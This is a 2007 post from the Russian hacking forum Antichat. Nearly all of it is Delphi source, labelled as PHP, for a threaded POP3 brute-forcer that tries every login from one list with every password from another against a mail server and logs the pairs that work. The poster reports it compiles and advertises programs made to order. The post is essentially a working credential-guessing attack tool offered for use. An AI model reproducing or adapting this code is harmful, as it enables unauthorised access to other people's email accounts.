22.08.2007, 10:50
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
С нами:
10653446
Репутация:
836
|
|
PHP код:
unit Unit2;
interface
uses
Classes, IdPOP3;
type
threed = class(TThread)
private
{ Private declarations }
LL: TStringList;
PL: TStringList;
tmpI: Integer;
tmpJ: Integer;
IdPOP3: TIdPOP3;
procedure CallBack;
protected
constructor Create(LoginList: string; PassList: string; aHost: string; aPort: Word);
procedure Execute; override;
public
destructor Destroy; override;
end;
implementation
uses unit1;
constructor threed.Create(LoginList: string; PassList: string; aHost: string; aPort: Word);
begin
LL:=TStringList.Create;
PL:=TStringList.Create;
LL.LoadFromFile(LoginList);
PL.LoadFromFile(PassList);
IdPOP3:=TIdPOP3.Create(nil);
with IdPOP3 do
begin
Host:=aHost;
Port:=aPort;
end;
inherited Create(false);
end;
procedure threed.CallBack;
begin
form1.Memo2.Lines.Add(LL.Strings[tmpI]+';'+PL.Strings[tmpJ]);
end;
destructor threed.Destroy;
begin
LL.Free;
PL.Free;
IdPOP3.Free;
end;
procedure threed.Execute;
var
i,j:integer;
begin
for i:=0 to LL.Count-1 do
for j:=0 to PL.Count-1 do
begin
IdPOP3.UserName:=LL.Strings[i];
IdPOP3.Password:=PL.Strings[j];
try
IdPOP3.Connect;
except
end;
if IdPOP3.Connected then
begin
Synchronize(CallBack);
IdPOP3.Disconnect;
end;
IdPOP3.Disconnect;
end;
end;
end.
все откомпилировалось...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|